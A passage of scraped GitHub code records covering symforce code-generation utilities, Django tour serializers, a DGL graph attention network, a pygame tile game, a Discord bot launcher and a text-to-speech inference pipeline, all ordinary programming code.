For mypy: https://github.com/python/typeshed/issues/2793\n assert isinstance(spec.loader, importlib.abc.Loader)\n\n spec.loader.exec_module(module)\n return module, added_module_names\n\n\ndef load_generated_package(name: str, path: T.Openable, evict: bool = True) -> T.Any:\n \"\"\"\n Dynamically load generated package (or module).\n\n Args:\n name: The full name of the package or module to load (for example, ``\"pkg.sub_pkg\"``\n for a package called ``sub_pkg`` inside of another package ``pkg``, or\n ``\"pkg.sub_pkg.mod\"`` for a module called ``mod`` inside of ``pkg.sub_pkg``).\n path: The path to the directory (or ``__init__.py``) of the package, or the python\n file of the module.\n evict: Whether to evict the imported package from sys.modules after loading it. This is\n necessary for functions generated in the ``sym`` namespace, since leaving them would\n make it impossible to ``import sym`` and get the ``symforce-sym`` package as expected.\n For this reason, attempting to load a generated package called ``sym`` with\n ``evict=False`` is disallowed. However, evict should be ``False`` for numba-compiled\n functions.\n \"\"\"\n if not evict:\n if name.split(\".\")[0] == \"sym\":\n raise ValueError(\n \"Attempted to hotload a generated package called `sym` - see \"\n \"`help(load_generated_package)` for more information\"\n )\n\n return _load_generated_package_internal(name, Path(path))[0]\n\n # NOTE(brad): We remove all possibly conflicting modules from the cache. This is\n # to ensure that when name is executed, it loads local modules (if any) rather\n # than any with colliding names that have been loaded elsewhere\n root_package_name = name.split(\".\")[0]\n callee_saved_modules: T.List[T.Tuple[str, T.Any]] = []\n for module_name in tuple(sys.modules.keys()):\n if root_package_name == module_name.split(\".\")[0]:\n try:\n conflicting_module = sys.modules[module_name]\n del sys.modules[module_name]\n callee_saved_modules.append((module_name, conflicting_module))\n except KeyError:\n pass\n\n module, added_module_names = _load_generated_package_internal(name, Path(path))\n\n # We remove the temporarily added modules\n for added_name in added_module_names:\n try:\n del sys.modules[added_name]\n except KeyError:\n pass\n\n # And we restore the original removed modules\n for removed_name, removed_module in callee_saved_modules:\n sys.modules[removed_name] = removed_module\n\n return module\n\n\ndef load_generated_function(\n func_name: str, path_to_package: T.Openable, evict: bool = True\n) -> T.Callable:\n \"\"\"\n Returns the function with name ``func_name`` found inside the package located at\n ``path_to_package``.\n\n Example usage::\n\n def my_func(...):\n ...\n\n my_codegen = Codegen.function(my_func, config=PythonConfig())\n codegen_data = my_codegen.generate_function(output_dir=output_dir)\n generated_func = load_generated_function(\"my_func\", codegen_data.function_dir)\n generated_func(...)\n\n Args:\n path_to_package: a python package with an ``__init__.py`` containing a module defined in\n ``func_name.py`` which in turn defines an attribute named ``func_name``. See the example\n above.\n evict: Whether to evict the imported package from sys.modules after loading it. This is\n necessary for functions generated in the ``sym`` namespace, since leaving them would\n make it impossible to ``import sym`` and get the ``symforce-sym`` package as expected.\n For this reason, attempting to load a generated package called ``sym`` with\n ``evict=False`` is disallowed. However, evict should be ``False`` for numba-compiled\n functions.\n \"\"\"\n pkg_path = Path(path_to_package)\n if pkg_path.name == \"__init__.py\":\n pkg_path = pkg_path.parent\n pkg_name = pkg_path.name\n func_module = load_generated_package(\n f\"{pkg_name}.{func_name}\", pkg_path / f\"{func_name}.py\", evict\n )\n return getattr(func_module, func_name)\n\n\ndef load_generated_lcmtype(\n package: str, type_name: str, lcmtypes_path: T.Union[str, Path]\n) -> T.Type:\n \"\"\"\n Load an LCM type generated by\n :meth:`Codegen.generate_function `\n\n Example usage::\n\n my_codegen = Codegen(my_func, config=PythonConfig())\n codegen_data = my_codegen.generate_function(output_dir=output_dir, namespace=namespace)\n my_type_t = codegen_util.load_generated_lcmtype(\n namespace, \"my_type_t\", codegen_data.python_types_dir\n )\n my_type_msg = my_type_t(foo=5)\n\n Args:\n package: The name of the LCM package for the type\n type_name: The name of the LCM type itself (not including the package)\n lcmtypes_path: The path to the directory containing the generated lcmtypes package\n\n Returns:\n The Python LCM type\n \"\"\"\n # We need to import the lcmtypes package first so that sys.path is set up correctly, since this\n # is a namespace package\n import lcmtypes # pylint: disable=unused-import\n\n return getattr(\n load_generated_package(\n f\"lcmtypes.{package}._{type_name}\",\n Path(lcmtypes_path) / \"lcmtypes\" / package / f\"_{type_name}.py\",\n ),\n type_name,\n )\n\n\ndef get_base_instance(obj: T.Sequence[T.Any]) -> T.Any:\n \"\"\"\n Returns an instance of the base element (e.g. Scalar, Values, Matrix, etc.) of an object.\n If input is a list (incl. multidimensional lists), we return an instance of one of the base\n elements (i.e. the first element that isn't a list). If input is a list we assume all\n elements are of the same type/shape.\n \"\"\"\n if isinstance(obj, (list, tuple)):\n return get_base_instance(obj[0])\n return obj\n\n\n@dataclasses.dataclass\nclass LcmBindingsDirs:\n python_types_dir: Path\n cpp_types_dir: Path\n\n\ndef generate_lcm_types(\n lcm_type_dir: T.Openable, lcm_files: T.Sequence[str], lcm_output_dir: T.Openable = None\n) -> LcmBindingsDirs:\n \"\"\"\n Generates the language-specific type files for all symforce generated \".lcm\" files.\n\n Args:\n lcm_type_dir: Directory containing symforce-generated .lcm files\n lcm_files: List of .lcm files to process\n \"\"\"\n lcm_type_dir = Path(lcm_type_dir)\n\n if lcm_output_dir is None:\n lcm_output_dir = lcm_type_dir / \"..\"\n else:\n lcm_output_dir = Path(lcm_output_dir)\n\n python_types_dir = lcm_output_dir / \"python\"\n cpp_types_dir = lcm_output_dir / \"cpp\" / \"lcmtypes\"\n lcm_include_dir = \"lcmtypes\"\n\n result = LcmBindingsDirs(python_types_dir=python_types_dir, cpp_types_dir=cpp_types_dir)\n\n # TODO(brad, aaron): Do something reasonable with lcm_files other than returning early\n # If no LCM files provided, do nothing\n if not lcm_files:\n return result\n\n from skymarshal import skymarshal\n from skymarshal.emit_cpp import SkymarshalCpp\n from skymarshal.emit_python import SkymarshalPython\n\n skymarshal.main(\n [SkymarshalPython, SkymarshalCpp],\n args=[\n str(lcm_type_dir),\n \"--python\",\n \"--python-path\",\n str(python_types_dir / \"lcmtypes\"),\n \"--python-namespace-packages\",\n \"--python-package-prefix\",\n \"lcmtypes\",\n \"--cpp\",\n \"--cpp-hpath\",\n str(cpp_types_dir),\n \"--cpp-include\",\n lcm_include_dir,\n \"--no-source-paths\",\n ],\n print_generated=False,\n )\n\n # Autoformat generated python files\n format_util.format_py_dir(python_types_dir)\n\n return result\n\n\ndef flat_symbols_from_values(values: Values) -> T.List[T.Any]:\n \"\"\"\n Returns a flat list of unique symbols in the object for codegen\n Note that this *does not* respect storage ordering\n \"\"\"\n symbols_list = values.to_storage()\n\n for v in values.values_recursive():\n if isinstance(v, sf.DataBuffer):\n symbols_list.append(v)\n return symbols_list\n","repo_name":"symforce-org/symforce","sub_path":"symforce/codegen/codegen_util.py","file_name":"codegen_util.py","file_ext":"py","file_size_in_byte":30267,"program_lang":"python","lang":"en","doc_type":"code","stars":1266,"dataset":"github-code","pt":"34"} +{"seq_id":"10446037440","text":"import datetime\n\nfrom rest_framework.fields import (\n CharField,\n SerializerMethodField,\n IntegerField,\n DecimalField,\n)\nfrom rest_framework.serializers import ModelSerializer\n\nfrom hotels.serializers import HotelDetailSerializer\nfrom images.models import TourImage\nfrom images.serializers import ImageSerializer, ImageUploadSerializer\nfrom tours.arrival_dates.serializers import ArrivalDatesSerializer\nfrom tours.features.serializers import TourFeatureSerializer\nfrom tours.models import Tour\n\n\nclass TourFeatureDetailSerializer(TourFeatureSerializer):\n hotel = SerializerMethodField()\n\n class Meta(TourFeatureSerializer.Meta):\n pass\n\n def get_hotel(self, obj):\n return HotelDetailSerializer(\n obj.hotel,\n context={\n \"start\": self.context.get(\"start\"),\n \"end\": self.context.get(\"end\"),\n \"filter_params\": self.context.get(\"filter_params\"),\n },\n ).data\n\n\nclass TourSerializer(ImageUploadSerializer):\n images = ImageSerializer(many=True, read_only=True)\n max_passengers = IntegerField(write_only=True)\n price = DecimalField(write_only=True, decimal_places=2, max_digits=10)\n min_price = DecimalField(read_only=True, decimal_places=2, max_digits=10)\n\n image_model = TourImage\n additional_field = \"tour\"\n\n class Meta:\n model = Tour\n fields = (\n \"id\",\n \"title\",\n \"images\",\n \"tour_type\",\n \"days\",\n \"description\",\n \"max_passengers\",\n \"price\",\n \"min_price\",\n )\n\n def to_representation(self, instance):\n self.fields[\"tour_type\"] = CharField(source=\"get_tour_type_display\")\n result = super().to_representation(instance)\n instance.tour_features.prefetch_related(\"destination\")\n result[\"destinations\"] = instance.tour_features.values_list(\n \"destination__name\", flat=True\n )\n return result\n\n\nclass TourDetailSerializer(ModelSerializer):\n images = ImageSerializer(many=True, read_only=True)\n tour_type = CharField(source=\"get_tour_type_display\")\n features = TourFeatureSerializer(source=\"tour_features\", many=True)\n arrival_dates = ArrivalDatesSerializer(many=True)\n\n class Meta(TourSerializer.Meta):\n fields = TourSerializer.Meta.fields + (\n \"price\",\n \"arrival_dates\",\n \"days\",\n \"features\",\n \"description\",\n )\n\n\nclass TourDetailFeaturesSerializer(TourSerializer):\n features = SerializerMethodField()\n price = DecimalField(read_only=True, decimal_places=2, max_digits=10)\n\n class Meta(TourSerializer.Meta):\n fields = TourSerializer.Meta.fields + (\"features\", \"price\")\n\n def get_features(self, obj):\n start = self.context.get(\"start\")\n data = []\n for feature in obj.tour_features.all():\n end = start + datetime.timedelta(days=feature.days)\n data.append(\n TourFeatureDetailSerializer(\n feature, context={\"start\": start, \"end\": end}\n ).data\n )\n start = end\n return data\n","repo_name":"Averia17/TourAgency","sub_path":"tour_agency/tours/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"31843790354","text":"import joblib\nimport seaborn as sb\nimport matplotlib.pyplot as plt\nimport base64\nfrom io import BytesIO\nimport pandas as pd\nimport numpy as np\nPATH=\"diabetes.csv\"\ndf=pd.read_csv(PATH)\ndef get_graph():\n model=joblib.load(\"model.sav\")\n buffer=BytesIO()\n plt.savefig(buffer,format='png')\n buffer.seek(0)\n image_png=buffer.getvalue()\n graph=base64.b64encode(image_png)\n graph=graph.decode('utf-8')\n buffer.close()\n return graph\n\ndef get_plot(usf,c,d,e,color):\n model=joblib.load(\"model.sav\")\n plt.switch_backend('AGG')\n figy=plt.figure()\n axis1=sb.scatterplot(x='Age',y=c,data=df,hue='Outcome',palette='rainbow')\n axis2=sb.scatterplot(x='Age',y=c,data=usf,color=color)\n plt.xticks(np.arange(10,100,5))\n plt.yticks(np.arange(0,d,e))\n plt.title('0 - Healthy & 1 - Unhealthy')\n plt.tight_layout()\n graph=get_graph()\n return graph\n#import data from html file\n#then plt.plot(data,Age) \n#I think we can't call plt like that as we call model.predict we have to look into error in screenshot csrf why plots are not working\n#fault is in manage.py and result.html have to check tomorrow\n#fault was debug was set false after completing editing set DEBUG=False in settings.py\n#could not interpret value input by user for x in get_plot()i.e. a can be interpreted for parameter x in get_plot()\nmodel=joblib.load(\"model.sav\")\n","repo_name":"Arghajit08/DiabetesPrediction","sub_path":"Diabetes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41207233806","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as image\n\n#Aula 6a\n\ndados = np.genfromtxt('oscilador_caotico.csv')\ndelT = dados[1,0]-dados[0,0]\ntransfFourier = np.fft.fft(dados[:,2])\nnumOnda = np.fft.fftfreq(len(dados), delT)\nespectro = np.abs(transfFourier)**2\n\nplt.subplot(2,1,1)\nplt.plot(dados[:,0],dados[:,2])\nplt.xlabel('t')\nplt.subplot(2,1,2)\nplt.plot(numOnda, espectro)\nplt.xlabel('k')\nplt.show()","repo_name":"m-obispo/fft-py","sub_path":"fft_a.py","file_name":"fft_a.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"9784638941","text":"#!/bin/python3\nimport configparser\nimport logging\nimport os.path\nfrom discordbot import DiscordBot\n\nCONFIG_FILE = \"config.cfg\"\n\n#### Read the API keys\n\nconfig = configparser.ConfigParser()\n\n# Default values\nconfig[\"general\"] = {}\nconfig[\"general\"][\"logfile\"] = \"\"\nconfig[\"general\"][\"loglevel\"] = \"INFO\"\nconfig[\"feeder\"] = {}\nconfig[\"feeder\"][\"polling_interval\"] = \"30\"\nconfig[\"feeder\"][\"fetch_blogposts\"] = \"true\"\nconfig[\"feeder\"][\"fetch_belvedere\"] = \"true\"\nconfig[\"discord\"] = {}\nconfig[\"discord\"][\"token\"] = \"\"\n\nif not os.path.isfile(CONFIG_FILE):\n with open(CONFIG_FILE, 'w') as h:\n config.write(h)\n\n# User values\nconfig.read(CONFIG_FILE)\n\n# Logging config\nloglevels = {\n 'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'WARNING': logging.WARNING,\n 'ERROR': logging.ERROR,\n 'CRITICAL': logging.CRITICAL,\n}\nconfigfile = config[\"general\"][\"logfile\"]\nconfigfile = configfile if len(configfile) else None\nlevel = loglevels.get(config[\"general\"][\"loglevel\"].upper(), 'INFO')\nfmt = '%(asctime)s:%(levelname)s:%(name)s: %(message)s'\nlogging.basicConfig(format=fmt, level=level, filename=configfile)\n\n#### Start the bot\ndiscord = DiscordBot(config[\"discord\"][\"token\"],\n config.getint(\"feeder\",\"polling_interval\"),\n config.getboolean(\"feeder\",\"fetch_blogposts\"),\n config.getboolean(\"feeder\",\"fetch_belvedere\"))\ndiscord.run()\n\n","repo_name":"ABorgna/dotaFeeder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"3517780999","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport dgl\nfrom dgl.data import CoraGraphDataset, CiteseerGraphDataset, PubmedGraphDataset\nfrom dgl import AddSelfLoop\nimport argparse\n\nfrom dgl.mock_sparse import create_from_coo, softmax, bspmm\nfrom torch.nn import init\n\n\nclass GATConv(nn.Module):\n def __init__(self, in_size, out_size, n_heads):\n super(GATConv, self).__init__()\n self.in_size = in_size\n self.out_size = out_size\n self.n_heads = n_heads\n self.W = nn.Parameter(torch.Tensor(in_size, out_size * n_heads))\n self.a_l = nn.Parameter(torch.Tensor(1, n_heads, out_size))\n self.a_r = nn.Parameter(torch.Tensor(1, n_heads, out_size))\n self.leaky_relu = nn.LeakyReLU(0.2)\n init.xavier_uniform_(self.W)\n init.xavier_uniform_(self.a_l)\n init.xavier_uniform_(self.a_r)\n\n def forward(self, A, h):\n Wh = (h @ self.W).view(\n -1, self.n_heads, self.out_size\n ) # |V| x N_h x D_o\n Wh1 = (Wh * self.a_l).sum(2) # |V| x N_h\n Wh2 = (Wh * self.a_r).sum(2) # |V| x N_h\n Wh1 = Wh1[A.row, :] # |E| x N_h\n Wh2 = Wh2[A.col, :] # |E| x N_h\n e = Wh1 + Wh2 # |E| x N_h\n e = self.leaky_relu(e) # |E| x N_h\n A = create_from_coo(\n A.row, A.col, e, A.shape\n ) # |V| x |V| x N_h SparseMatrix\n A_hat = softmax(A) # |V| x |V| x N_h SparseMatrix\n Wh = Wh.reshape(-1, self.out_size, self.n_heads) # |V| x D_o x N_h\n h_prime = bspmm(A_hat, Wh) # |V| x D_o x N_h\n\n return torch.relu(h_prime)\n\n\nclass GAT(nn.Module):\n def __init__(self, in_size, hidden_size, out_size, n_heads):\n super().__init__()\n self.layers = nn.ModuleList()\n self.layers.append(GATConv(in_size, hidden_size, n_heads))\n self.layers.append(GATConv(hidden_size * n_heads, out_size, n_heads))\n\n def forward(self, A, features):\n h = features\n for i, layer in enumerate(self.layers):\n h = layer(A, h)\n if i == 1: # last layer\n h = h.mean(1)\n else: # other layer(s)\n h = h.flatten(1)\n return h\n\n\ndef evaluate(A, features, labels, mask, model):\n model.eval()\n with torch.no_grad():\n logits = model(A, features)\n logits = logits[mask]\n labels = labels[mask]\n _, indices = torch.max(logits, dim=1)\n correct = torch.sum(indices == labels)\n return correct.item() * 1.0 / len(labels)\n\n\ndef train(A, features, labels, masks, model):\n # define train/val samples, loss function and optimizer\n train_mask = masks[0]\n val_mask = masks[1]\n loss_fcn = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-2, weight_decay=5e-4)\n\n # training loop\n for epoch in range(50):\n model.train()\n logits = model(A, features)\n loss = loss_fcn(logits[train_mask], labels[train_mask])\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n acc = evaluate(A, features, labels, val_mask, model)\n print(\n \"Epoch {:05d} | Loss {:.4f} | Accuracy {:.4f} \".format(\n epoch, loss.item(), acc\n )\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--dataset\",\n type=str,\n default=\"cora\",\n help=\"Dataset name ('cora', 'citeseer', 'pubmed').\",\n )\n args = parser.parse_args()\n print(f\"Training with DGL SparseMatrix GATConv module.\")\n\n # load and preprocess dataset\n transform = (\n AddSelfLoop()\n ) # by default, it will first remove self-loops to prevent duplication\n if args.dataset == \"cora\":\n data = CoraGraphDataset(transform=transform)\n elif args.dataset == \"citeseer\":\n data = CiteseerGraphDataset(transform=transform)\n elif args.dataset == \"pubmed\":\n data = PubmedGraphDataset(transform=transform)\n else:\n raise ValueError(\"Unknown dataset: {}\".format(args.dataset))\n g = data[0]\n g = g.int()\n features = g.ndata[\"feat\"]\n labels = g.ndata[\"label\"]\n masks = g.ndata[\"train_mask\"], g.ndata[\"val_mask\"], g.ndata[\"test_mask\"]\n\n row, col = g.adj_sparse(\"coo\")\n A = create_from_coo(\n row, col, shape=(g.number_of_nodes(), g.number_of_nodes())\n )\n\n # create GAT model\n in_size = features.shape[1]\n out_size = data.num_classes\n model = GAT(in_size, 8, out_size, 8)\n\n # model training\n print(\"Training...\")\n train(A, features, labels, masks, model)\n\n # test the model\n print(\"Testing...\")\n acc = evaluate(A, features, labels, masks[2], model)\n print(\"Test accuracy {:.4f}\".format(acc))\n","repo_name":"omarsoud/fewexample","sub_path":"examples/pytorch/mock_sparse/gat/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39775473237","text":"def square(number):\n\treturn number * number\n\n\ndef main():\n\n\ttry:\n\t\tnumber = int(input(\"Enter number:\\t\"))\n\t\tprint(\"Square of \", number, \"is: \", square(number))\n\n\texcept:\n\t\tprint(\"Please enter a valid integer\")\n\n\nif __name__==\"__main__\":\n\tmain()","repo_name":"SapneshNaik/python_assignment","sub_path":"problem2/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"18436206266","text":"import sys\nimport random\nimport pygame\n\nfrom pygame.locals import *\n\n# declare resources\nDIRT, GRASS, WATER, COAL, CLOUD, WOOD = 0, 1, 2, 3, 4, 5\n# declare valuable resources\nFIRE, SAND, GLASS, ROCK, STONE, BRICK, DIAMOND = 6, 7, 8, 9 , 10, 11, 12\n\nBLACK = (0,0,0)\n\nTILESIZE = 40\nMAPWIDTH = 30\nMAPHEIGHT = 20\n\n# import an image for each of the resources\ntextures = {\n DIRT: pygame.image.load('dirt.png'),\n GRASS: pygame.image.load('grass.png'),\n WATER: pygame.image.load('water.png'),\n COAL: pygame.image.load('coal.png'),\n CLOUD: pygame.image.load('cloud.png'),\n BRICK: pygame.image.load('brick.png'),\n DIAMOND: pygame.image.load('diamond.png'),\n FIRE: pygame.image.load('fire.png'),\n GLASS: pygame.image.load('glass.png'),\n ROCK: pygame.image.load('rock.png'),\n SAND: pygame.image.load('sand.png'),\n STONE: pygame.image.load('stone.png'),\n WOOD: pygame.image.load('wood.png')\n}\n\nplayer = pygame.image.load('char.png')\nplayerPos = [0,0]\n\n# initialize the map with all dirt\ntilemap = [[DIRT for w in range(MAPWIDTH)] for h in range(MAPHEIGHT)]\n# for each row\nfor row in range(MAPHEIGHT):\n # for each column in that row\n for col in range(MAPWIDTH):\n # generate a random number\n rn = random.randint(0,15)\n # it the random number is 0\n # fill the tilef with COAL\n if rn == 0:\n tile = COAL\n # if that number is 1 or 2\n # fill the tile with water\n elif rn in [1, 2]:\n tile = WATER\n elif rn in [3,4,5,6,7]:\n tile = GRASS\n elif rn in [7,8,9]:\n tile = WOOD\n elif rn in [9,10,11]:\n tile = ROCK\n else:\n tile = DIRT\n tilemap[row][col] = tile\n\npygame.init()\nDISPLAYSURF = pygame.display.set_mode((MAPWIDTH*TILESIZE,MAPHEIGHT*TILESIZE))\n\nwhile True:\n DISPLAYSURF.fill(BLACK)\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN:\n if event.key == K_RIGHT and playerPos[0] < MAPWIDTH - 1:\n playerPos[0] += 1\n if event.key == K_LEFT and playerPos[0] > 0:\n playerPos[0] -= 1\n if event.key == K_DOWN and playerPos[1] < MAPHEIGHT - 1:\n playerPos[1] += 1\n if event.key == K_UP and playerPos[1] > 0:\n playerPos[1] -= 1\n\n # render the tilemap we generated above\n # make sure to render this before the character\n # if not the character may not appear (hell be under the map)\n # the rednering order matters\n for row in range(MAPHEIGHT):\n for column in range(MAPWIDTH):\n DISPLAYSURF.blit(textures[tilemap[row][column]], (column*TILESIZE,row*TILESIZE))\n\n DISPLAYSURF.blit(player,(playerPos[0]*TILESIZE, playerPos[1]*TILESIZE))\n pygame.display.update()","repo_name":"yvan/nbsblogs","sub_path":"minecraft2d/game3.py","file_name":"game3.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"34"} +{"seq_id":"74685247136","text":"import os\nimport numpy as np\nimport sys\nimport time\nimport argparse\nimport torch\nimport torch.nn as nn\nfrom scipy.io.wavfile import write\nfrom fastspeech2.model_fs2 import FastSpeech2\nfrom hifi_gan.models import Generator\nfrom hifi_gan.env import AttrDict\nimport text_fs2\nimport hparams\nfrom G2p import G2p\nfrom string import punctuation\nimport re\nimport json\nfrom pydub import AudioSegment\n\nimport IPython\nfrom time import time\nimport requests\nimport tacotron2.hparams as hp_tacotron2\nfrom tacotron2.model import Tacotron2\nfrom tacotron2.distributed import apply_gradient_allreduce\nfrom waveglow.denoiser import Denoiser\nfrom numpy import finfo\nimport text_tacotron\n\nMAX_WAV_VALUE = 32768.0\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nclass T2S:\n def __init__(self, model, vocoder):\n self.model = model\n self.vocoder = vocoder\n self.hparams = hparams\n self.hparams.sampling_rate = 22050\n self.g2p = G2p(hparams.dict_path)\n\n\n self.temp_audio = np.zeros(int(0.45 * 22050))\n self.temp_sub_audio = np.zeros(int(0.25 * 22050))\n\n\n # load Weight Waveglow\n self.waveglow_path = self.hparams.waveglow_path\n if os.path.exists(self.waveglow_path):\n waveglow = torch.load(self.waveglow_path, map_location=device)['model']\n else:\n waveglow = torch.hub.load(\n 'nvidia/DeepLearningExamples:torchhub', 'nvidia_waveglow')\n waveglow = waveglow.remove_weightnorm(waveglow)\n\n if torch.cuda.is_available():\n waveglow.eval().half()\n else:\n waveglow.eval()\n\n for m in waveglow.modules():\n if 'Conv' in str(type(m)):\n setattr(m, 'padding_mode', 'zeros')\n\n for k in waveglow.convinv:\n k.float()\n\n self.waveglow = waveglow\n\n # load Weight HifiGan\n # h = None\n # with open(os.path.join(hparams.hifi_root_path, 'config.json')) as f:\n # data = f.read()\n # json_config = json.loads(data)\n # h = AttrDict(json_config)\n\n # self.generator = Generator(h).to(device)\n # state_dict_g = torch.load(os.path.join(hparams.hifi_root_path, 'generator'), map_location=device)\n # self.generator.load_state_dict(state_dict_g['generator'])\n # self.generator.eval()\n # self.generator.remove_weight_norm()\n self.generator = None\n\n self.denoiser = Denoiser(waveglow)\n\n\n # load FastSpeech2\n # self.model_fs2 = self.load_fastspeech2(120000).to(device)\n self.model_fs2 = self.load_fastspeech2().to(device)\n\n # load Tacotron2\n self.model_tacotron2 = self.load_tacotron2().to(device)\n\n def load_tacotron2(self):\n hparams = hp_tacotron2.create_hparams()\n hparams.sampling_rate = 22050\n model = Tacotron2(hparams).to(device)\n\n checkpoint_path = os.path.join(self.hparams.tacotron2_cp_path)\n\n # model = Tacotron2(hparams).cpu()\n if hparams.fp16_run:\n model.decoder.attention_layer.score_mask_value = finfo('float16').min\n\n if hparams.distributed_run:\n model = apply_gradient_allreduce(model)\n\n model.load_state_dict(torch.load(checkpoint_path, map_location=device)[\"state_dict\"])\n return model.to(device).eval()\n\n def normalize(self, text):\n dem = 5\n url = 'http://10.30.132.76:9928/preProcessingApi/get-text'\n rs = None\n while dem > 0:\n dem -= 1\n try:\n with requests.post(url, json={\"sentence\": text}, timeout=100) as response:\n if response.status_code != 200:\n print(\"FAILURE::{0}\".format(url))\n return {}\n rs = response.json()\n break\n except:\n rs = None\n print('\\t\\tReconnect lan %d' % (20 - dem))\n if rs is None:\n return text\n return rs['new_sentence']\n\n\n def preprocess(self, text, use_phone=False):\n text = text.rstrip(punctuation).lower()\n if use_phone:\n phone = self.g2p.g2p(text)\n phone = '{' + '}{'.join(phone.split()) + '}'\n phone = re.sub(r'\\{[^\\w\\s]?\\}', '{sp}', phone)\n phone = phone.replace('}{', ' ')\n else:\n # phone = text\n phone = 'z'.join(text.split())\n sequence = np.array(text_fs2.text_to_sequence(phone, hparams.text_cleaners))\n sequence = np.stack([sequence])\n return torch.from_numpy(sequence).long().to(device)\n \n def load_fastspeech2(self):\n checkpoint_path = os.path.join(self.hparams.fastspeech2_cp_path)\n model = nn.DataParallel(FastSpeech2())\n model.load_state_dict(torch.load(checkpoint_path, map_location=device)['model'])\n model.requires_grad = False\n return model.to(device).eval()\n\n def save_audio(self, wav, path):\n audio = IPython.display.Audio(wav, rate=hparams.sampling_rate)\n audio = AudioSegment(audio.data, frame_rate=hparams.sampling_rate, sample_width=2, channels=1)\n audio.export(path, format=\"wav\")\n\n def waveglow_infer(self, mel, sig=1.0, strength=0.01):\n with torch.no_grad():\n if torch.cuda.is_available():\n wav = self.waveglow.infer(mel.half(), sigma=sig)\n else:\n wav = self.waveglow.infer(mel, sigma=sig)\n # print(wav[0].cpu().numpy().shape)\n wav = self.denoiser(wav, strength=strength)[:, 0]\n # print(wav.shape)\n\n return wav[0].cpu().numpy()\n\n def hifigan_infer(self, mel, strength=0.01):\n with torch.no_grad():\n if torch.cuda.is_available():\n wav = self.generator(mel)\n else:\n wav = self.generator(mel)\n # print(wav.cpu().numpy().reshape(-1).shape)\n wav = self.denoiser(wav.reshape(1, -1), strength=strength)[:, 0]\n # print(wav.shape)\n\n return wav.cpu().numpy().reshape(-1)\n\n def pts(self, para, list_time, dict_input):\n sentence_ls = para.split(\".\")\n audio = np.zeros(int(0.1 * 22050))\n begin = False\n\n for idx in range(len(sentence_ls)):\n sen = sentence_ls[idx]\n if sen != '' and sen != ' ':\n sub_stn_ls = re.split(\",|;|:\", sen)\n begin_sub = False\n audio_sub = np.zeros(int(0.1 * 22050))\n # print(audio_sub.shape)\n for idx_sub in range(len(sub_stn_ls)):\n sub_stn = sub_stn_ls[idx_sub]\n if sub_stn != '' and sub_stn != ' ':\n audio_, times = self.inference_audio(sub_stn, dict_input)\n # print(audio_.shape)\n list_time['preprocess'] += times[0]\n list_time['model_inference'] += times[1]\n list_time['vocoder_inference'] += times[2]\n if begin_sub == False:\n audio_sub = audio_\n begin_sub = True\n else:\n audio_sub = np.concatenate((audio_sub, self.temp_sub_audio), axis=0)\n audio_sub = np.concatenate((audio_sub, audio_), axis=0)\n if begin == False:\n audio = audio_sub\n begin = True\n else:\n audio = np.concatenate((audio, self.temp_audio), axis=0)\n audio = np.concatenate((audio, audio_sub), axis=0)\n return audio\n\n def tts(self, dict_input, filename=None):\n vocoder = dict_input['vocoder']\n model = dict_input['model']\n raw_text = dict_input['text']\n # print(dict_input)\n\n list_time = {\n 'normalize': 0,\n 'preprocess': 0,\n 'model_inference': 0,\n 'vocoder_inference': 0,\n }\n t = time()\n text = self.normalize(raw_text)\n #text = raw_text\n t0 = time()\n list_time['normalize'] = t0 - t\n # print(list_time['normalize'], 'for normalize')\n if filename is None:\n filename = 'samples'\n audio_path = f\"{filename}.wav\"\n save_path = os.path.join('wavs', audio_path)\n audio = self.pts(text, list_time, dict_input)\n # print(\"audio saved at: {}\".format(save_path))\n self.save_audio(audio, save_path)\n\n return audio_path, ['Raw Text Input:',\n '%s' % raw_text,\n 'Normalize text time: %0.3f (s)' % list_time['normalize'],\n 'Preprocessing text time: %0.3f (s)' % list_time['preprocess'],\n 'Model %s inference time: %0.3f (s)' % (model, list_time['model_inference']),\n 'Vocoder %s inference time: %0.3f (s)' % (vocoder, list_time['vocoder_inference']),\n 'Total time: %0.3f (s)' % (time() - t)]\n\n\n def inference_audio(self, text, dict_input):\n vocoder = dict_input['vocoder']\n model = dict_input['model']\n # text = dict_input['text']\n d = float(dict_input['d'])\n p = float(dict_input['p'])\n e = float(dict_input['e'])\n sig = float(dict_input['sig'])\n strength = float(dict_input['strength'])\n #print('=============\\n\\t', text)\n t0 = time()\n list_time = []\n sequence = None\n if model == 'fastspeech2':\n sequence = self.preprocess(text, use_phone=False)\n elif model == 'tacotron2':\n text = (text.strip() + ' .').replace(', .', ' .')\n text = re.sub(' +', ' ', text)\n sequence = np.array(text_tacotron.text_to_sequence(text, ['basic_cleaners']))[None, :]\n sequence = torch.autograd.Variable(\n torch.from_numpy(sequence).to(device)).long()\n\n t1 = time()\n #print(t1 - t0, '(s) for preprocess')\n list_time.append(t1 - t0)\n\n mel_postnet = None\n if model == 'fastspeech2':\n src_len = 